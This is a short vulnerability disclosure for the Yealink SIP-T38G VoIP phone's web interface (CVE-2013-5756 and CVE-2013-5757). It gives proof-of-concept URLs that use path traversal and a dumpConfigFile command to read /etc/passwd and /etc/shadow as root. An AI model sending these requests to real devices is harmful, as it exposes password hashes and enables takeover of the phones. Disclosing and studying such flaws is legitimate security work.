Yealink VoIP Phone SIP-T38G - Local File Inclusion

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Title: Yealink VoIP Phone SIP-T38G Local File Inclusion

Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team

Vendor Homepage: http://www.yealink.com/Companyprofile.aspx

Version: VoIP Phone SIP-T38G

CVE: CVE-2013-5756, CVE-2013-5757

 

Description:

 

Web interface contain a vulnerability that allow any page to be included.

We are able to disclose /etc/passwd & /etc/shadow

 

POC:

Using the page parameter (CVE-2013-5756):

http://

[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

http://

[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

 

Using the command parameter (CVE-2013-5757):

http://[host]/cgi-bin/cgiServer.exx?command=dumpConfigFile("/etc/shadow")

 

*By viewing the shadow file we are able to conclude that cgiServer.exx run

under the root privileges. This lead to CVE-2013-5759.